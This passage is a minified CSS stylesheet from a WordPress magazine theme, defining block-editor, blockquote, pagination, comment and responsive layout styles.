video{width:100%}.post-entry .wp-block-table.is-style-stripes{border-top:none;border-left:none;border-right:none}.post-entry .wp-block-verse pre,.post-entry pre.wp-block-verse{border:none;background:#f5f5f5;padding:10px 20px;font-size:16px;font-family:inherit;white-space:nowrap;overflow:auto;line-height:1.8}.post-entry .wp-block-pullquote{padding:30px 0;margin-bottom:20px}.post-entry .wp-block-pullquote blockquote,.post-entry .wp-block-pullquote blockquote cite,.post-entry .wp-block-pullquote blockquote p{text-align:inherit}.post-entry .wp-block-pullquote blockquote{padding-left:0;margin-bottom:0}.post-entry .wp-block-pullquote blockquote:before{content:none;display:none}.post-entry .wp-block-pullquote blockquote p{font-size:28px;font-style:normal;color:#313131}.post-entry .wp-block-pullquote blockquote cite{font-weight:inherit;color:inherit;font-family:inherit;margin-top:10px;font-size:13px}.wp-block-pullquote.is-style-solid-color{background:#f5f5f5}@media (min-width:600px){.wp-block-columns .wp-block-column:last-child{margin-right:0}.penci_is_nosidebar .wp-block-column .alignfull,.penci_is_nosidebar .wp-block-column .alignwide,.penci_is_nosidebar .wp-block-column .wp-block-cover-image.alignfull,.penci_is_nosidebar .wp-block-column .wp-block-cover-image.alignwide,.penci_is_nosidebar .wp-block-column .wp-block-gallery.alignfull,.penci_is_nosidebar .wp-block-column .wp-block-gallery.alignwide,.penci_is_nosidebar .wp-block-column .wp-block-image.alignfull,.penci_is_nosidebar .wp-block-column .wp-block-image.alignwide{margin-left:0;width:100%;max-width:100%}}.post-entry a.wp-block-button__link{text-decoration:none}.has-huge-font-size,.has-larger-font-size{line-height:1.4}.container-single .post-entry a.has-white-color,.container-single .post-entry a.wp-block-button__link,.post-entry a.has-white-color,.post-entry a.wp-block-button__link{color:#fff}.container-single .post-entry a.has-black-color,.post-entry a.has-black-color{color:#000}.container-single .post-entry a.has-vivid-purple-color,.post-entry a.has-vivid-purple-color{color:#9b51e0}.post-entry .wp-block-social-links:not(.is-style-logos-only) .wp-social-link a{color:#fff}.wp-block-media-text .wp-block-media-text__content p:last-child{margin-bottom:0}.post-entry hr.wp-block-separator,.wp-block-separator{border-bottom:2px solid #8f98a1}.post-entry hr.wp-block-separator.is-style-wide,.wp-block-separator.is-style-wide{border-width:1px}.wp-block-separator.is-style-dots{border:none!important}.wp-block-separator.is-style-dots:before{color:inherit;line-height:1}.wp-block-latest-posts{padding:16px 20px 16px 36px!important;border:1px solid #dedede}.wp-block-latest-posts.is-grid{padding-bottom:0!important}.wp-block-categories .category-item-count{color:#313131}@media (min-width:600px){.wp-block-latest-posts.is-grid li{padding-right:8px}}@media only screen and (max-width:767px){.wp-block-media-text{display:block}.wp-block-media-text .wp-block-media-text__content{display:block;padding:0;text-align:center;margin-top:20px}.wp-block-media-text .has-huge-font-size,.wp-block-media-text .has-large-font-size{font-size:22px;line-height:1.5}}.has-pale-pink-color.has-pale-pink-color{color:#f78da7!important}.has-vivid-red-color.has-vivid-red-color{color:#cf2e2e!important}.has-luminous-vivid-orange-color.has-luminous-vivid-orange-color{color:#ff6900!important}.has-luminous-vivid-amber-color.has-luminous-vivid-amber-color{color:#fcb900!important}.has-light-green-cyan-color.has-light-green-cyan-color{color:#7bdcb5!important}.has-vivid-green-cyan-color.has-vivid-green-cyan-color{color:#00d084!important}.has-pale-cyan-blue-color.has-pale-cyan-blue-color{color:#8ed1fc!important}.has-vivid-cyan-blue-color.has-vivid-cyan-blue-color{color:#0693e3!important}.has-very-light-gray-color.has-very-light-gray-color{color:#eee!important}.has-cyan-bluish-gray-color.has-cyan-bluish-gray-color{color:#abb8c3!important}.has-very-dark-gray-color.has-very-dark-gray-color{color:#313131!important}.wp-block-embed .wp-block-embed__wrapper iframe,.wp-block-embed .wp-block-embed__wrapper twitter-widget{display:inline-block!important}.wp-block-embed.aligncenter,.wp-block-embed.alignfull,.wp-block-embed.alignwide{text-align:center}.wp-block-embed.alignleft{text-align:left}.wp-block-embed.alignright{text-align:right}.wp-block-embed-instagram figcaption{margin-top:-8px}.wp-block-embed-dailymotion .wp-block-embed__wrapper{position:relative;padding-bottom:56.2393%}.wp-block-embed-youtube .wp-block-embed__wrapper{position:relative;padding-bottom:56.25%}.wp-block-embed-youtube .wp-block-embed__wrapper .yt-video-place.embed-responsive{position:absolute;top:0;left:0;right:0;bottom:0;padding-bottom:0;width:100%;padding-bottom:0!important}.yt-video-place{position:relative;text-align:center}.yt-video-place .play-yt-video{margin:auto}.yt-video-place.embed-responsive{padding-bottom:10px!important;height:auto}.yt-video-place.embed-responsive:before{padding:0!important}.start-video{position:absolute;padding:0;opacity:1;cursor:pointer;border-radius:50%;top:50%;left:50%;transform:translate(-50%,-50%)}#hpp_mPlayNxt{width:100%;height:100%;position:fixed;left:0;top:0;z-index:999000000;text-align:center}#hpp_mPlayNxt .yt-video-place{top:10%;display:inline-block;height:auto}#hpp_mPlayNxt .cover{position:absolute;background:#dadada;opacity:.5;width:100%;height:100%}.widget_media_video iframe{width:100%;min-height:400px}mediaelementwrapper>iframe{width:100%;height:100%}.mejs-overlay-play{width:100%!important}.mejs-mediaelement{position:relative!important}.mejs-container.wp-video-shortcode{height:auto!important}.mejs-container video{height:auto}.yt-video-place.embed-responsive .play-yt-video{width:100%;aspect-ratio:16/9;object-fit:cover}.yt-video-place.embed-responsive .start-video{display:block;top:0;left:0;bottom:0;right:0;position:absolute;transform:none}.yt-video-place.embed-responsive .start-video svg{margin:0;padding:0;top:50%;display:inline-block;position:absolute;left:50%;transform:translate(-50%,-50%);width:68px;height:auto}.yt-video-place.embed-responsive .start-video:hover svg path{transition:.3s all ease-in-out}.yt-video-place.embed-responsive .start-video svg .red{fill:#212121;fill-opacity:.8}.yt-video-place.embed-responsive .start-video svg .white{fill:#fff}.yt-video-place.embed-responsive .start-video:hover svg .red{fill:red;fill-opacity:1}.fluid-width-video-wrapper iframe{z-index:10}.fluid-width-video-wrapper .yt-video-place.embed-responsive{position:absolute;left:0;right:0;top:0;width:100%;height:100%}.fluid-width-video-wrapper .yt-video-place.embed-responsive>img{position:absolute;left:0;top:0;width:100%;height:100%;object-fit:cover}.wp-block-embed-youtube .wp-block-embed__wrapper .fluid-width-video-wrapper{padding-top:0!important;position:static!important}.wp-block-embed-dailymotion .wp-block-embed__wrapper iframe,.wp-block-embed-youtube .wp-block-embed__wrapper iframe{position:absolute;top:0;right:0;bottom:0;left:0;width:100%;height:100%}.wp-block-yoast-how-to-block .schema-how-to-description,.wp-block-yoast-how-to-block .schema-how-to-total-time{font-size:16px;margin-bottom:7px}.wp-block-yoast-how-to-block ol.schema-how-to-steps{padding:15px 20px 20px 32px;border:1px solid #dedede}.wp-block-yoast-how-to-block ol.schema-how-to-steps li{padding:0;border-bottom:1px solid #dedede;margin-bottom:17px}.wp-block-yoast-how-to-block ol.schema-how-to-steps li:last-child{margin-bottom:0;border-bottom:none}.wp-block-yoast-how-to-block ol.schema-how-to-steps li:last-child p.schema-how-to-step-text{margin-bottom:0}.wp-block-yoast-faq-block .schema-faq-section{border:1px solid #dedede;padding:15px 20px;margin-bottom:15px}.wp-block-yoast-faq-block .schema-faq-answer{margin-bottom:0}p.has-drop-cap:not(:focus):first-letter{float:left;font-size:60px;line-height:.9;margin:0 8px 0 0;text-transform:uppercase;font-style:normal}.has-small-font-size,.post-entry p.has-small-font-size>*{font-size:12px}.has-medium-font-size,.post-entry p.has-medium-font-size>*{font-size:20px}.has-large-font-size,.post-entry p.has-large-font-size>*{font-size:32px}.has-huge-font-size,.post-entry p.has-huge-font-size>*{font-size:42px}.wp-block-embed-soundcloud .wp-block-embed__wrapper{width:100%;position:relative;padding:0;padding-top:23.0555%}.wp-block-embed-soundcloud .wp-block-embed__wrapper iframe{position:absolute;top:0;left:0;width:100%;height:100%}.wp-block-search{margin-bottom:20px}.wp-block-search .wp-block-search__label{margin-bottom:5px}.wp-block-search .wp-block-search__input{border:1px solid #dedede;padding:10px 20px}.wp-block-search .wp-block-search__button{border:none;outline:0;padding:0 12px;cursor:pointer;background:#e2e2e2}.post-entry .grid-header-box,.post-entry .grid-header-box .grid-title,.post-entry .grid-post-box-meta,.post-entry .header-list-style,.post-entry .header-list-style .grid-title,.post-entry .header-standard,.post-entry .inner-boxed-2,.post-entry .inner-boxed-2 .grid-title,.post-entry .item-related,.post-entry .main-typography,.post-entry .main-typography .grid-title,.post-entry .penci-overlay-over .overlay-header-box{line-height:1}.post-entry .grid-header-box .grid-title,.post-entry .header-list-style .grid-title,.post-entry .header-standard .post-title,.post-entry .header-standard h2,.post-entry .home-featured-cat .magcat-titlte,.post-entry .home-pupular-posts-title,.post-entry .inner-boxed-2 .grid-title,.post-entry .item-related h3,.post-entry .main-typography .grid-title,.post-entry .overlay-title,.post-entry .pc_titlebig_standard,.post-entry .penci-border-arrow .inner-arrow,.post-entry ul.penci-grid{margin-bottom:0}.post-entry .cat>a.penci-cat-name,.post-entry .grid-mixed .mixed-detail a,.post-entry .grid-post-box-meta a,.post-entry .header-standard .author-post span a,.post-entry .header-standard h2 a,.post-entry .item-related a,.post-entry .overlay-author a,.post-entry .overlay-header-box .overlay-title a,.post-entry .pc_titlebig_standard a,.post-entry .penci-featured-cat-seemore a,.post-entry .penci-grid li .item h2 a,.post-entry .penci-magazine-title a,.post-entry .penci-masonry .item-masonry h2 a,.post-entry .penci-post-box-meta .penci-box-meta a,.post-entry .penci-readmore-btn a{text-decoration:none}.post-entry .penci-grid>li{margin-bottom:40px}.post-entry .item-content p,.post-entry .mag-excerpt p{margin-bottom:0}.elementor-column-gap-wider>.elementor-column>.theiaStickySidebar>.elementor-element-populated{padding:30px}.elementor-column-gap-wide>.elementor-column>.theiaStickySidebar>.elementor-element-populated{padding:20px}.elementor-column-gap-extended>.elementor-column>.theiaStickySidebar>.elementor-element-populated{padding:15px}.elementor-column-gap-default>.elementor-column>.theiaStickySidebar>.elementor-element-populated{padding:10px}.elementor-column-gap-narrow>.elementor-column>.theiaStickySidebar>.elementor-element-populated{padding:5px}.post-pagination.pcpagp-style-2 .prev-post-title,.post-pagination.pcpagp-style-3 .prev-post-title,.post-pagination.pcpagp-style-4 .prev-post-title,.post-pagination.pcpagp-style-5 .prev-post-title{text-transform:uppercase;font-size:12px;font-family:var(--pchead-font);letter-spacing:.05em;position:relative}.post-pagination.pcpagp-style-2 .penci-post-nav-thumb{flex:0 0 170px;height:170px}.post-pagination.pcpagp-style-2 .next-post,.post-pagination.pcpagp-style-2 .prev-post{display:flex;flex-direction:row;align-items:center}.post-pagination.pcpagp-style-2 .next-post{flex-direction:row-reverse}.post-pagination.pcpagp-style-3{display:flex;justify-content:space-between}.post-pagination.pcpagp-style-3 .penci-post-nav-thumb.nav-thumb-next{margin:0}.post-pagination.pcpagp-style-3 .next-post,.post-pagination.pcpagp-style-3 .prev-post{position:relative}.post-pagination.pcpagp-style-3 .penci-post-nav-thumb{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%}.post-pagination.pcpagp-style-3 .next-post-inner,.post-pagination.pcpagp-style-3 .prev-post-inner{position:relative;padding:40px 20px;height:100%;display:flex;align-items:center}.post-pagination.pcpagp-style-3 .next-post-inner:before,.post-pagination.pcpagp-style-3 .prev-post-inner:before{content:"";position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.5)}.post-pagination.pcpagp-style-3 h5,.post-pagination.pcpagp-style-3 span{color:#fff;padding:0}.post-pagination.pcpagp-style-4 .penci-post-nav-thumb,.post-pagination.pcpagp-style-5 .penci-post-nav-thumb{width:100%;height:170px;float:none;margin-bottom:15px}.post-pagination.pcpagp-style-5 .penci-post-nav-thumb.nav-thumb-next{margin-left:0;margin-right:0}.post-pagination.pcpagp-style-4{display:flex;flex-wrap:wrap;gap:15px;justify-content:space-between}.post-pagination.pcpagp-style-4 .penci-post-nav-thumb.nav-thumb-next{margin-left:0}.post-pagination.pcpagp-style-4 .next-post,.post-pagination.pcpagp-style-4 .prev-post{width:auto;flex:0 0 calc(50% - 15px)}.post-pagination.pcpagp-style-3 .next-post,.post-pagination.pcpagp-style-3 .prev-post,.post-pagination.pcpagp-style-5 .next-post,.post-pagination.pcpagp-style-5 .prev-post{width:calc(50% - 10px)}.post-pagination.pcpagp-style-5 .next-post-inner,.post-pagination.pcpagp-style-5 .prev-post-inner{padding:20px 20px 20px 0;background:#fff;margin:-60px 60px 0 0;position:relative}.post-pagination.pcpagp-style-5 .next-post-inner{margin:-60px 0 0 60px;padding:20px 0 20px 20px}.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote){padding:15px 50px 15px 0;border-top:5px solid var(--pcaccent-cl);border-bottom:1px solid var(--pcaccent-cl)}.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote) p{font-size:24px;color:var(--pcaccent-cl);font-style:normal;line-height:1.6;font-weight:var(--pchead-wei);font-family:var(--pchead-font)}.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote):before{transform:rotate(180deg);font-size:50px;bottom:10px;right:0;top:auto;left:auto;opacity:.1}.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote),.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote),.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote){padding:15px 10%;margin:1.2em auto}.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) p{font-size:22px;color:var(--pcmeta-cl);font-style:italic;line-height:1.6;text-align:center}.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):after,.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):after{content:"";width:100px;height:2px;background:var(--pcmeta-cl);left:50%;right:50%;transform:translateX(-50%);position:absolute;opacity:.5;top:0}.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote):after{bottom:0;top:auto}.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote),.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote),.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote),.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote){padding-top:40px}.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) p,.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) p,.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) p,.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) p{font-size:22px;color:var(--pcheading-cl);font-style:italic;line-height:1.6;text-align:center}.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote):before,.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote):before{left:50%;right:50%;transform:translateX(-50%) rotate(180deg);top:0;color:var(--pcmeta-cl);display:inline-block;width:40px;text-align:center;font-size:32px;opacity:.7}.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote):after,.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote):after{bottom:0;top:auto}.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) .author,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) .author,.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) .author,.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) .author,.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) .author{text-align:center}.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) .author span:after,.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) .author span:after,.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) .author span:after,.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) .author span:after,.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) .author span:after{display:none}.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote){background:var(--pcaccent-cl);border-radius:5px;overflow:visible!important;margin-top:30px;padding:30px 30px 30px 90px}.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) .author,.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote) p{text-align:left;color:#fff}.post-entry.blockquote-style-6 blockquote:not(.wp-block-quote):before{opacity:1;top:30px;left:40px;color:#fff;transform:scaleY(-1)}.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote){background:#22c1c3;background:linear-gradient(0deg,rgba(34,193,195,1) 0,rgba(146,190,119,1) 50%,var(--pcaccent-cl) 100%);border-radius:5px;overflow:visible!important;padding:40px;margin-top:43px}.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote) p{color:#fff}.post-entry.blockquote-style-7 blockquote:not(.wp-block-quote):before{background:#22c1c3;background:linear-gradient(0deg,rgba(34,193,195,1) 0,rgba(146,190,119,1) 50%,var(--pcaccent-cl) 100%);border:5px solid #fff;top:-25px;border-radius:50%;line-height:50px;width:50px;color:#fff;opacity:1}.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote){border:3px solid var(--pcaccent-cl);border-radius:5px;overflow:visible!important;margin-top:43px;padding:40px}.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote) p{color:var(--pcaccent-cl)}.post-entry.blockquote-style-8 blockquote:not(.wp-block-quote):before{background:#22c1c3;background:linear-gradient(0deg,rgba(34,193,195,1) 0,var(--pcaccent-cl) 100%);top:-30px;border-radius:50%;line-height:50px;border:5px solid #fff;width:50px;color:#fff;opacity:1}.penci-preview-thumb{position:absolute;top:0;left:0;right:0;bottom:0;z-index:5}.penci-preview-thumb.active{background:#000}.penci-preview-thumb .penci-preview-iframe{position:relative;overflow:hidden;width:100%;height:100%}.penci-preview-thumb iframe,.penci-preview-thumb video{width:100%;height:100%;object-fit:cover;pointer-events:none}.penci-preview-thumb iframe:before{content:"";position:absolute;top:0;left:0;right:0;bottom:0;z-index:3}.post-related .penci-preview-thumb{margin-left:10px;margin-right:10px;max-height:160px}.penci-preview-iframe,.penci-preview-iframe iframe{position:absolute;top:0;left:0;width:100%;height:100%;pointer-events:none}.penci-preview-iframe iframe{max-width:unset!important;top:50%;left:50%;transform:translate(-50%,-50%)}.e-con>.e-con-inner>.theiaStickySidebar>.elementor-widget>.elementor-widget-container,.e-con>.theiaStickySidebar>.elementor-widget>.elementor-widget-container{height:100%}.e-con.e-con>.theiaStickySidebar>.e-con-inner>.elementor-widget,.elementor.elementor .e-con>.theiaStickySidebar>.elementor-widget{max-width:100%}.elementor-element:where(.e-con-full) .theiaStickySidebar{display:var(--display);flex-direction:var(--flex-direction);flex-wrap:var(--flex-wrap);justify-content:var(--justify-content);align-items:var(--align-items);align-content:var(--align-content);gap:var(--gap)}.elementor-widget-penci-sidebar .theiaStickySidebar{display:block!important}.pc-comment-s1-button a{padding:0 25px;line-height:46px;background:var(--pcaccent-cl);color:#fff;display:inline-block;font-weight:var(--pchead-wei);font-family:var(--pchead-font);margin-bottom:30px;font-size:16px}.pc-comment-s1-button i{display:inline-block;vertical-align:middle;margin:0 10px 0 0;line-height:inherit}.pc-comment-s1{display:none}.comments .pc-comment-s1{display:block}.pc-comment-s1.active{display:block}.comments.pc-cms-style-2 .thecomment .comment-text{padding:30px;background:#f1f1f1}.comments.pc-cms-style-2 .thecomment .comment-text span.reply{top:30px;right:30px}.comments.pc-cms-style-2 .thecomment{padding-bottom:0}.comments.pc-cms-style-2 .comment{border-top:0;padding-bottom:0}.comments.pc-cms-style-2 .thecomment .comment-text:before{content:"";position:absolute;left:-10px;border-left:7px solid transparent;border-right:7px solid transparent;border-bottom:7px solid #f1f1f1;transform:translatey(-50%) rotate(-90deg)}a.penci_cmrm{display:inline-block;margin-top:15px;font-size:14px;font-weight:var(--pchead-wei)}.thecomment .comment-text.showfull .comment-content{-webkit-line-clamp:initial}.comments.pc-cms-style-2 h3.comment-reply-title{border-top:0}.comments.pc-cms-style-2 #respond{margin-left:80px}.pc-cms-style-3 .thecomment .author-img{width:30px;margin-right:20px;border-radius:5px}.pc-cms-style-3 .thecomment .comment-text{margin-left:50px;border:1px solid var(--pcborder-cl);padding:15px;border-radius:5px}.pc-cms-style-3 .thecomment .comment-text:after,.pc-cms-style-3 .thecomment .comment-text:before{width:0;height:0;border-style:solid;border-width:10px 10px 10px 0;border-color:transparent var(--pcborder-cl) transparent transparent;transform:rotate(0);content:'';position:absolute;top:10px;left:-10px}.pc-cms-style-3 .thecomment{padding-bottom:0}.pc-cms-style-3 .thecomment .comment-text:after{border-width:8px 8px 8px 0;border-color:transparent var(--pcbg-cl) transparent transparent;left:-8px;top:12px}.pc-cms-style-3.comments .comment{border-top:0}.pc-cms-style-3 .thecomment .comment-text span.reply{top:15px;right:15px}@media only screen and (min-width:961px) and (max-width:1400px){.container.two-sidebar.two-sidebar{width:100%;max-width:100%;padding-left:10px;padding-right:10px}}@media only screen and (min-width:1170px){.footer-widget-wrapper .fb_iframe_widget,.footer-widget-wrapper .fb_iframe_widget span,.footer-widget-wrapper .fb_iframe_widget span iframe[style]{width:340px!important}.footer-widget-wrapper .widget.penci_facebook_widget{text-align:center}}@media only screen and (max-width:1200px){.featured-style-38 .penci-owl-carousel .swiper-slide{width:400px}}@media only screen and (max-width:1169px){.penci-video-overlay-background{display:block}.inner-portfolio-posts .portfolio-item,.penci-post-gallery-container.masonry .item-gallery-masonry{width:50%}.penci-header-signup-form .mc4wp-form-fields>p,.penci-header-signup-form form>p{display:block;max-width:100%!important;text-align:center;padding:0}.penci-header-signup-form .mc4wp-form input[type=email],.penci-header-signup-form .mc4wp-form input[type=submit],.penci-header-signup-form .mc4wp-form input[type=text]{margin:20px auto 0;max-width:400px}.post-entry ul.homepage-featured-boxes,ul.homepage-featured-boxes{margin-left:-8px;margin-right:-8px}.post-entry ul.homepage-featured-boxes li,ul.homepage-featured-boxes li{padding:0 8px}.penci-post-gallery-container.masonry.column-4 .item-gallery-masonry{width:50%}.pencislider-container{padding:0 25px}.featured-style-3 .penci-owl-carousel .penci-image-holder:before{height:0;padding-top:50%}.featured-style-20 .penci-mag-featured-content .feat-meta,.featured-style-21 .penci-mag-featured-content .feat-meta,.featured-style-22 .penci-mag-featured-content .feat-meta,.featured-style-23 .penci-mag-featured-content .feat-meta,.featured-style-24 .penci-mag-featured-content .feat-meta,.featured-style-25 .penci-mag-featured-content .feat-meta,.featured-style-26 .penci-mag-featured-content .feat-meta{display:none}.penci-item-mag{overflow:hidden}.featured-style-24 .penci-image-holder:before{height:160px}.featured-style-24 .penci-item-2 .penci-image-holder:before{height:200px}.featured-style-24 .penci-item-1 .penci-image-holder:before{height:364px}.featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a{font-size:20px}.featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a{font-size:16px}.featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a,.featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a{text-transform:none;letter-spacing:0}.featured-style-25 .penci-image-holder:before{height:150px}.featured-style-26 .penci-image-holder:before{height:160px}.featured-style-25 .penci-item-1 .penci-image-holder:before{height:458px}.featured-style-26 .penci-item-1 .penci-image-holder:before{height:324px}.featured-style-29.style-30 .penci-image-holder:before{height:450px}.footer-widget-wrapper.footer-widget-style-4{width:48%;margin-right:4%}.footer-widget-wrapper.footer-widget-style-4:nth-child(2){margin-right:0}.footer-widget-wrapper.footer-widget-style-4:nth-child(3){clear:both}.footer-widget-wrapper.footer-widget-style-4:nth-child(1),.footer-widget-wrapper.footer-widget-style-4:nth-child(2){margin-bottom:30px}.footer-widget-wrapper.footer-widget-style-5,.footer-widget-wrapper.footer-widget-style-6,.footer-widget-wrapper.footer-widget-style-7{width:25.25%}.footer-widget-wrapper.footer-widget-style-5:first-child,.footer-widget-wrapper.footer-widget-style-6:nth-child(2),.footer-widget-wrapper.footer-widget-style-7:last-child{width:42.5%}.footer-widget-wrapper.footer-widget-style-8,.footer-widget-wrapper.footer-widget-style-9{width:26%}.footer-widget-wrapper.footer-widget-style-8:last-child,.footer-widget-wrapper.footer-widget-style-9:first-child{width:70.5%}.penci-related-grid-display .item-related{width:50%}.penci-related-grid-display .item-related:nth-child(3n+1){clear:none}.penci-related-grid-display .item-related:nth-child(2n+1){clear:both}.featured-style-35 .penci-featured-content-right,.featured-style-35.style-36 .penci-featured-content-right{width:350px}.featured-style-35 .penci-image-holder:before,.featured-style-35.style-36 .penci-image-holder:before{height:450px}.featured-style-35 .featured-content-excerpt p{display:none}.featured-style-35 .feat-text-right .penci-featured-slider-button{animation-delay:1.2s;-webkit-animation-delay:1.2s}.featured-style-35 .feat-text-right h3 a{font-size:24px}.penci-headline{text-align:center;padding:15px 0 8px}.penci-headline .pctopbar-item{float:none;margin-left:0;margin-right:0;display:block;margin-bottom:10px;line-height:normal}.penci-headline .pctopbar-item.penci-topbar-social,.penci-headline .pctopbar-item.penci-topbar-social-mobile{margin-bottom:6px}.penci-topbar-social a,.penci-topbar-social-mobile a{line-height:normal;float:none;margin-bottom:5px}div.penci-topbar-menu-mobile>ul>li>a,div.penci-topbar-menu>ul>li>a,ul.penci-topbar-menu-mobile>li>a,ul.penci-topbar-menu>li>a{line-height:1.6}.penci-headline .pctopbar-item.penci-topbar-trending{margin-left:auto;margin-right:auto}.pctopbar-login-btn li.pclogin-item img{top:auto;display:inline-block}}@media only screen and (min-width:961px) and (max-width:1169px){body{--pcctain:940px}#navigation ul.menu>li.megamenu>ul.sub-menu,.container,.featured-area.magazine-slider,.featured-area.style-1,.featured-area.style-4{width:var(--pcctain);max-width:calc(100% - 60px)}.wrapper-boxed.enable-boxed,.wrapper-boxed.enable-boxed .is-sticky #navigation{max-width:1000px}.container.has-banner #logo{width:320px;padding-right:30px}.container.has-banner .header-banner{width:620px}#navigation.header-4 .pcheader-icon,#navigation.header-5 .pcheader-icon,#navigation.header-6 .pcheader-icon{margin-left:26px}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post{width:25%}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post{width:33.3333%}#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-1 .penci-mega-post:nth-child(4),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-2 .penci-mega-post:nth-child(7),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-2 .penci-mega-post:nth-child(8),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-3 .penci-mega-post:nth-child(10),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-3 .penci-mega-post:nth-child(11),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-3 .penci-mega-post:nth-child(12),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-1 .penci-mega-post:nth-child(5),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-2 .penci-mega-post:nth-child(10),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-2 .penci-mega-post:nth-child(9),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-3 .penci-mega-post:nth-child(13),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-3 .penci-mega-post:nth-child(14),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5.mega-row-3 .penci-mega-post:nth-child(15){display:none}#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(4n+1),#navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(5n+1){clear:none}#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-2 .penci-mega-post:nth-child(3n+1),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-4.mega-row-3 .penci-mega-post:nth-child(3n+1),#navigation .penci-megamenu .penci-content-megamenu:not(.pcmis-5) .penci-mega-latest-posts.col-mn-5 .penci-mega-post:nth-child(4n+1){clear:both}#navigation .menu>ul>li,#navigation ul.menu>li{margin-right:16px}#navigation .menu ul li.megamenu ul ul>li>a,#navigation ul.menu li.megamenu ul ul>li>a{margin:0 10px}.featured-carousel .featured-content,.featured-carousel.style-2 .featured-content{top:38.7%}.featured-carousel.style-7 .featured-content .feat-text h3,.featured-carousel.style-7 .featured-content .feat-text h3 a,.wrapper-boxed.enable-boxed .featured-carousel.style-7 .featured-content .feat-text h3{padding:0}.featured-carousel.style-7 .featured-content .feat-text h3 a:after,.featured-carousel.style-7 .featured-content .feat-text h3 a:before{content:none;display:none}.penci-image-holder.slider-style-1-fix{height:480px}.penci-image-holder.slider-style-3-fix{height:460px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content,.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content{height:300px}.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content{height:600px}.penci-magazine-slider ul.mag-wrap li{width:303px;height:212px}.penci-magazine-slider ul.mag-wrap li.mag-item-1{width:636px;height:424px}ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img:before{left:10px;top:10px;right:10px;bottom:10px}.featured-style-6 .wrapper-item .penci-item-mag{width:32.83%}.featured-style-6 .wrapper-item .penci-item-1{width:67.17%;border-right:5px solid 